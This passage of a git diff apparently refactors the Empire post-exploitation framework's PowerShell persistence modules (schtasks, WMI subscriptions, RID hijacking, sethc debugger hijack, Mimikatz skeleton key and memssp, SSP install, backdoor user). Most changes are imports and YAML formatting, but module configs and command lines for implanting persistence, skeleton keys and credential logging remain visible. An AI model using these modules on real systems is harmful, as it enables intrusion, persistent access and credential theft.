required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: KeyName
description: Key name for the run trigger.
required: true
value: Updater
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
- name: ADSPath
@@ -60,8 +67,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -69,9 +75,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml b/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml
index 6a12ecedb..e4f89af78 100644
--- a/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml
+++ b/empire/server/modules/powershell/persistence/elevated/rid_hijack.yaml
@@ -1,10 +1,12 @@
name: Invoke-RIDHijacking
authors:
- - Sebastian Castro @r4wd3r
-description: Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent
- account by modifying the Relative Identifier value copy used to create the access
- token. This module needs administrative privileges.
+ - name: Sebastian Castro @r4wd3r
+ handle: ''
+ link: ''
+description: Runs Invoke-RIDHijacking. Allows setting desired privileges to an existent account by modifying the Relative
+ Identifier value copy used to create the access token. This module needs administrative privileges.
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -42,5 +44,5 @@ options:
description: Switch. Enable the defined account.
required: false
value: ''
-script_path: 'persistence/Invoke-RIDHijacking.ps1'
-script_end: Invoke-RIDHijacking {{ PARAMS }}
\ No newline at end of file
+script_path: persistence/Invoke-RIDHijacking.ps1
+script_end: Invoke-RIDHijacking {{ PARAMS }}
diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py
index 14feddb6a..a8fd99432 100644
--- a/empire/server/modules/powershell/persistence/elevated/schtasks.py
+++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
daily_time = params["DailyTime"]
idle_time = params["IdleTime"]
@@ -78,7 +75,7 @@ def generate(
script += "schtasks /Delete /F /TN " + task_name + ";"
script += "'Schtasks persistence removed.'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -114,7 +111,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -207,7 +204,7 @@ def generate(
status_msg += " with " + task_name + " daily trigger at " + daily_time + "."
script += "'Schtasks persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.yaml b/empire/server/modules/powershell/persistence/elevated/schtasks.yaml
index d2b606d72..5510d5764 100644
--- a/empire/server/modules/powershell/persistence/elevated/schtasks.yaml
+++ b/empire/server/modules/powershell/persistence/elevated/schtasks.yaml
@@ -1,10 +1,14 @@
name: Invoke-Schtasks
authors:
- - '@mattifestation'
- - '@harmj0y'
-description: Persist a stager (or script) using schtasks running as SYSTEM. This has
- a moderate detection/removal rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Persist a stager (or script) using schtasks running as SYSTEM. This has a moderate detection/removal rating.
software: S0111
+tactics: []
techniques:
- T1053
background: false
@@ -25,19 +29,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: DailyTime
description: Daily time to trigger the script (HH:mm).
required: false
@@ -55,8 +62,7 @@ options:
required: true
value: Updater
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKLM:\Software\Microsoft\Network\debug
- name: ADSPath
@@ -72,8 +78,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -81,9 +86,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py
index d631793f2..4e0e7ebeb 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi.py
+++ b/empire/server/modules/powershell/persistence/elevated/wmi.py
@@ -1,31 +1,28 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module(object):
@staticmethod
def generate(
- main_menu,
- module: PydanticModule,
+ main_menu: MainMenu,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
daily_time = params["DailyTime"]
day = params["Day"]
day_of_week = params["DayOfWeek"]
- at_startup = params["AtStartup"]
sub_name = params["SubName"]
dummy_sub_name = "_" + sub_name
failed_logon = params["FailedLogon"]
@@ -46,7 +43,6 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
status_msg = ""
- location_string = ""
if cleanup.lower() == "true":
# commands to remove the WMI filter and subscription
@@ -83,9 +79,9 @@ def generate(
script += (
"'WMI persistence with subscription named " + sub_name + " removed.'"
)
- script = data_util.keyword_obfuscation(script)
+ script = main_menu.obfuscationv2.obfuscate_keywords(script)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -126,7 +122,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -149,7 +145,6 @@ def generate(
)
if failed_logon != "":
-
# Enable failed logon auditing
script = "auditpol /set /subcategory:Logon /failure:enable;"
@@ -164,7 +159,6 @@ def generate(
status_msg += " with trigger upon failed logon by " + failed_logon
elif daily_time != "" or day != "" or day_of_week != "":
-
# add DailyTime to event filter
parts = daily_time.split(":")
@@ -264,7 +258,7 @@ def generate(
script += "'WMI persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.yaml b/empire/server/modules/powershell/persistence/elevated/wmi.yaml
index 4a00dab72..80dc33731 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi.yaml
+++ b/empire/server/modules/powershell/persistence/elevated/wmi.yaml
@@ -1,12 +1,20 @@
name: Invoke-WMI
authors:
- - '@mattifestation'
- - '@harmj0y'
- - '@jbooz1'
- - '@janit0rjoe'
-description: Persist a stager (or script) using a permanent WMI subscription. This
- has a difficult detection/removal rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@jbooz1'
+ link: ''
+ - name: ''
+ handle: '@janit0rjoe'
+ link: ''
+description: Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.
software: ''
+tactics: []
techniques:
- T1047
background: false
@@ -27,19 +35,22 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: DailyTime
description: Daily time to trigger the script (HH:mm).
required: false
@@ -52,10 +63,6 @@ options:
description: Day of week to trigger the script (0-6). Sunday = 0. Optional to DailyTime.
required: false
value: ''
- - name: AtStartup
- description: Switch. Trigger script (within 5 minutes) of system startup.
- required: false
- value: 'True'
- name: FailedLogon
description: Trigger script with a failed logon attempt from a specified user
required: false
@@ -73,8 +80,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -82,9 +88,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
index 2a0a56493..e146cb333 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
+++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,17 +13,15 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
daily_time = params["DailyTime"]
day = params["Day"]
day_of_week = params["DayOfWeek"]
- at_startup = params["AtStartup"]
sub_name = params["SubName"]
dummy_sub_name = "_" + sub_name
@@ -36,7 +32,6 @@ def generate(
web_file = params["WebFile"]
status_msg = ""
- location_string = ""
if cleanup.lower() == "true":
# commands to remove the WMI filter and subscription
@@ -74,7 +69,7 @@ def generate(
"'WMI persistence with subscription named " + sub_name + " removed.'"
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -121,7 +116,6 @@ def generate(
)
if daily_time != "" or day != "" or day_of_week != "":
-
# add DailyTime to event filter
parts = daily_time.split(":")
@@ -221,7 +215,7 @@ def generate(
script += "'WMI persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml
index 7338d7337..016c86242 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml
+++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.yaml
@@ -1,12 +1,20 @@
name: Invoke-WMI
authors:
- - '@mattifestation'
- - '@harmj0y'
- - '@tristandostaler'
- - '@janit0rjoe'
-description: Persist a stager (or script) using a permanent WMI subscription. This
- has a difficult detection/removal rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@tristandostaler'
+ link: ''
+ - name: ''
+ handle: '@janit0rjoe'
+ link: ''
+description: Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.
software: ''
+tactics: []
techniques:
- T1084
background: false
@@ -38,10 +46,6 @@ options:
description: Day of week to trigger the script (0-6). Sunday = 0. Optional to DailyTime.
required: false
value: ''
- - name: AtStartup
- description: Switch. Trigger script (within 5 minutes) of system startup.
- required: false
- value: 'True'
- name: SubName
description: Name to use for the event subscription.
required: true
@@ -59,4 +63,4 @@ options:
required: true
value: http://127.0.0.1/launcher.bat
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml
index 0a119be89..f8f4720d6 100644
--- a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml
+++ b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml
@@ -1,9 +1,11 @@
name: Add-NetUser
authors:
- - '@harmj0y'
-description: Adds a domain user or a local user to the current (or remote) machine,
- if permissions allow,
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Adds a domain user or a local user to the current (or remote) machine, if permissions allow,
software: ''
+tactics: []
techniques:
- T1033
background: true
@@ -42,7 +44,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -50,5 +52,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Add-NetUser {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Add-NetUser completed'
diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py
index 528d35a52..aabbcfa48 100644
--- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py
+++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -38,7 +34,7 @@ def generate(
# base64 encode the command to pass to Invoke-Mimikatz
script_end = f"Invoke-Mimikatz {command};"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml b/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml
index afffd9cc5..b0b79ca18 100644
--- a/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml
+++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml
@@ -1,10 +1,15 @@
name: Invoke-Mimikatz Add-SIDHistory
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::addsid to
- add sid history for a user. ONLY APPLICABLE ON DOMAIN CONTROLLERS!
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::addsid to add sid history for a user. ONLY APPLICABLE
+ ON DOMAIN CONTROLLERS!
software: S0194
+tactics: []
techniques:
- T1178
background: true
@@ -33,6 +38,6 @@ options:
description: Host to execute the module on
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py
index d18d6dce9..e157b441c 100644
--- a/empire/server/modules/powershell/persistence/misc/debugger.py
+++ b/empire/server/modules/powershell/persistence/misc/debugger.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# management options
cleanup = params["Cleanup"]
trigger_binary = params["TriggerBinary"]
@@ -45,7 +41,7 @@ def generate(
"Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'"
% (target_binary, target_binary)
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -66,7 +62,7 @@ def generate(
listenerName=listener_name,
language="powershell",
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
bypasses=params["Bypasses"],
)
@@ -121,7 +117,7 @@ def generate(
+ "'"
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/misc/debugger.yaml b/empire/server/modules/powershell/persistence/misc/debugger.yaml
index ecf561027..afceba4d0 100644
--- a/empire/server/modules/powershell/persistence/misc/debugger.yaml
+++ b/empire/server/modules/powershell/persistence/misc/debugger.yaml
@@ -1,10 +1,12 @@
name: Invoke-AccessBinary
authors:
- - '@harmj0y'
-description: Sets the debugger for a specified target binary to be cmd.exe, another
- binary of your choice, or a listern stager. This can be launched from the ease-of-access
- center (ctrl+U).
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Sets the debugger for a specified target binary to be cmd.exe, another binary of your choice, or a listern stager.
+ This can be launched from the ease-of-access center (ctrl+U).
software: ''
+tactics: []
techniques:
- T1044
background: false
@@ -13,7 +15,7 @@ needs_admin: true
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -24,27 +26,28 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: TargetBinary
- description: Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe,
- Narrator.exe, or Magnify.exe)
+ description: Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe)
required: true
value: sethc.exe
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKLM:Software\Microsoft\Network\debug
- name: Cleanup
@@ -56,4 +59,4 @@ options:
required: false
value: C:\Windows\System32\cmd.exe
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml b/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml
index 581b81555..6e985cc1d 100644
--- a/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml
+++ b/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml
@@ -1,9 +1,11 @@
name: Invoke-DisableMachineAcctChange
authors:
- - '@harmj0y'
-description: Disables the machine account for the target system from changing its
- password automatically.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Disables the machine account for the target system from changing its password automatically.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -12,7 +14,7 @@ needs_admin: true
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -34,4 +36,4 @@ script: |
If ($Cleanup -eq 0){'Machine account password change re-enabled.'}
else{'Machine account password change disabled.'}
}
-script_end: Invoke-DisableAccountChange {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-DisableAccountChange {{ PARAMS }}
diff --git a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml
index bc7ff076f..32daff244 100644
--- a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml
+++ b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml
@@ -1,8 +1,11 @@
name: Get-SecurityPackages
authors:
- - '@mattifestation'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: Enumerates all loaded security packages (SSPs).
software: ''
+tactics: []
techniques:
- T1101
background: true
@@ -21,7 +24,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml
index 52a9826ea..9a2f9069d 100644
--- a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml
+++ b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml
@@ -1,8 +1,11 @@
name: Install-SSP
authors:
- - '@mattifestation'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: Installs a security support provider (SSP) dll.
software: ''
+tactics: []
techniques:
- T1101
background: true
@@ -223,4 +226,4 @@ script: |
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
}
}
-script_end: Install-SSP {{ PARAMS }}
\ No newline at end of file
+script_end: Install-SSP {{ PARAMS }}
diff --git a/empire/server/modules/powershell/persistence/misc/memssp.yaml b/empire/server/modules/powershell/persistence/misc/memssp.yaml
index b8e7cdbbc..c3d920a51 100644
--- a/empire/server/modules/powershell/persistence/misc/memssp.yaml
+++ b/empire/server/modules/powershell/persistence/misc/memssp.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz memssp
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::memssp to
- log all authentication events to C:\Windows\System32\mimisla.log.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::memssp to log all authentication events to C:\Windows\System32\mimisla.log.
software: S0194
+tactics: []
techniques:
- T1101
background: true
@@ -21,5 +25,6 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"misc::memssp"'; 'memssp installed, check C:\Windows\System32\mimisla.log for logon events.'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"misc::memssp"'; 'memssp installed, check C:\Windows\System32\mimisla.log for logon
+ events.'
diff --git a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml
index b2918660f..5c1a953ae 100644
--- a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml
+++ b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml
@@ -1,10 +1,15 @@
name: Invoke-Mimikatz SkeletonKey
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::skeleton
- to implant a skeleton key w/ password 'mimikatz'. ONLY APPLICABLE ON DOMAIN CONTROLLERS!
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::skeleton to implant a skeleton key w/ password 'mimikatz'.
+ ONLY APPLICABLE ON DOMAIN CONTROLLERS!
software: S0194
+tactics: []
techniques:
- T1098
background: true
@@ -21,5 +26,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command "'misc::skeleton'"; 'Skeleton key implanted. Use password mimikatz for access.'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command "'misc::skeleton'"; 'Skeleton key implanted. Use password mimikatz for access.'
diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
index 2e7e13e86..345ff58a5 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
script = """
function Invoke-DeadUserBackdoor
{
@@ -86,7 +83,7 @@ def generate(
else:
# set the listener value for the launcher
- stager = main_menu.stagers.stagers["multi/launcher"]
+ stager = main_menu.stagertemplatesv2.new_instance("multi_launcher")
stager.options["Listener"] = listener_name
stager.options["Base64"] = "False"
@@ -140,7 +137,7 @@ def generate(
% (parts[0], " ".join(parts[1:]))
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml b/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml
index a42fb6f07..2fa9cfc4c 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml
+++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml
@@ -1,8 +1,11 @@
name: Invoke-DeadUserBackdoor
authors:
- - '@sixdub'
+ - name: ''
+ handle: '@sixdub'
+ link: ''
description: Backup backdoor for a backdoor user.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -43,4 +46,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
index 000bc8344..4d01cff38 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
